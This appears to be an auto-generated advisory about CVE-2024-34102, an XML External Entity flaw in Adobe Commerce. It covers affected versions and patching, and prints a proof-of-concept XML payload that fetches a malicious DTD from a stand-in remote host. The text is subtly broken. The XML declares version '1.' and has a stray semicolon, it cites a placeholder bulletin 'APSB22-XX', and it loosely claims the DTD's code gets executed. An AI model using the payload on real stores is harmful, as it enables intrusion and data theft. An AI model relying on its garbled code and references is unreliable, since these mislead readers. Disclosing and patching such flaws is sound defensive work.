Researchers have disclosed a new security vulnerability, CVE-2024-34102, that affects several versions of Adobe Commerce, including versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8, and earlier. This vulnerability is caused by improper restriction of XML External Entity (XXE) reference, which could potentially allow an attacker to execute arbitrary code on the affected system. It is important to understand the potential risks associated with this vulnerability as it does not require user interaction for exploitation.

The Vulnerability

XXE vulnerabilities occur when XML parsers process an XML document containing a reference to an external entity. In other words, these parsers incorrectly process user-supplied XML input, which can then lead to unauthorized access, data exfiltration, and other malicious consequences. In this particular case, the vulnerability exists within the processing of XML-based user input in Adobe Commerce.

An attacker could exploit CVE-2024-34102 by sending a crafted XML document that references external entities. This would enable the attacker to perform malicious activities, such as executing arbitrary code, without any required interaction from the victim.

To better understand how this vulnerability might be exploited, here's a proof-of-concept (PoC) code snippet that demonstrates crafting a malicious XML document:

<?xml version="1." encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://example.com/malicious.dtd">]>;
<mydoc>&xxe;</mydoc>

In this example, the XML document contains an external entity reference, "&xxe;", which points to a malicious DTD file hosted on a remote server ("http://example.com/malicious.dtd"). The attacker's goal would be to have the victim's XML parser process this entity and subsequently execute the arbitrary code contained within the malicious DTD file.

The full details of CVE-2024-34102 can be found in the following resources

1. CVE-2024-34102 - The original entry from The MITRE Corporation's CVE List.
2. Adobe Security Bulletin APSB22-XX - The official security bulletin from Adobe addressing the vulnerability and providing patch information.

Exploit Vector: Crafted XML document referencing external entities

- User Interaction: Not required. The vulnerability can be exploited without any user interaction, making it a highly significant risk to affected systems. Users should apply the necessary patches as soon as possible to protect their systems against potential attacks.

Mitigation and Prevention

Adobe has released security updates addressing the XXE vulnerability for Adobe Commerce, which should be applied as soon as possible to minimize the potential risk. Users who are running the affected versions should refer to the Adobe Security Bulletin APSB22-XX to obtain the necessary patches and update their systems accordingly.

In conclusion, Key points to remember

1. CVE-2024-34102 is an XXE vulnerability affecting multiple Adobe Commerce versions, allowing for potential arbitrary code execution.

Affected users should apply the security updates provided by Adobe as soon as possible.

Keep informed about future vulnerabilities and best practices by staying updated with security news and resources. Always patch and monitor your systems to protect against potential threats.

Timeline

Published on: 06/13/2024 09:15:10 UTC
Last modified on: 07/18/2024 03:55:18 UTC